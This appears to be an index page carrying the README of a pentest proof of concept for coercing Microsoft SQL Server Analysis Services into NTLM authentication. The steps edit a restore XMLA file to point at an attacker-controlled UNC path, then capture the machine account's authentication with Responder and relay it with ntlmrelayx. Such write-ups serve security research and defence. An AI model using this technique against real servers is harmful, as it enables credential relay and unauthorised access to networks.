Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/p0dalirius/mssql-analysis-coerce

A technique to coerce a Windows SQL Server to authenticate on an arbitrary machine.
https://github.com/p0dalirius/mssql-analysis-coerce

analysis coerce mssql pentest windows

Last synced: about 1 month ago
JSON representation

A technique to coerce a Windows SQL Server to authenticate on an arbitrary machine.

Awesome Lists containing this project

README

        

# MSSQL Analysis Services - Coerced Authentication

![](./.github/banner.png)

A technique to coerce a Windows SQL Server to authenticate on an arbitrary machine.

This proof of concept is co-authored by :
- Podalirius: YouTube Channel Subscribers
- Worty:

## Proof of concept

In order to trigger the authentification as the local machine account, we need to connect to the remote SQL Server using user credentials:

![](./.github/sql_analysis_connect.png)

Then we will select "Restore" to restore the database from a given file.

![](./.github/restore_db.png)

To generate the XMLA file, put the path to a random file in the "Backup File" form, and click Ok.

![](./.github/accessed_xml_script.png)

Then change the path to a random file and replace it with a UNC path to your attacker server (for example `\\192.168.128\SYSVOL\db.abf`)

![](./.github/unc_path_in_xml_file.png)

Proof of concept XMLA query ([poc.xmla](./poc.xmla)):

```xml

\\192.168.2.51\SYSVOL\db.abf
\\192.168.2.51\SYSVOL\db.abf
\\192.168.2.51\SYSVOL\db.abf

```

And we get an authentication from the local machine account of the SQL Server:

![](./.github/responder_auth.png)

## Relaying for the win

Once we got the authentification, we can relay it with `ntlmrelayx` to perform many actions on behalf of the computer `SQL01$`.

This is cool, but it is complicated to trigger this coerced authentication from a Linux attacking machine as we do not have access to the SQL Server Management Studio (SSMS).

## References
- https://docs.microsoft.com/en-us/sql/database-engine/install-windows/install-sql-server?view=sql-server-ver15
- https://social.technet.microsoft.com/wiki/contents/articles/13106.sql-server-frequently-used-ports.aspx
- https://docs.microsoft.com/en-us/answers/questions/274512/connecting-to-azure-analysis-services-using-python.html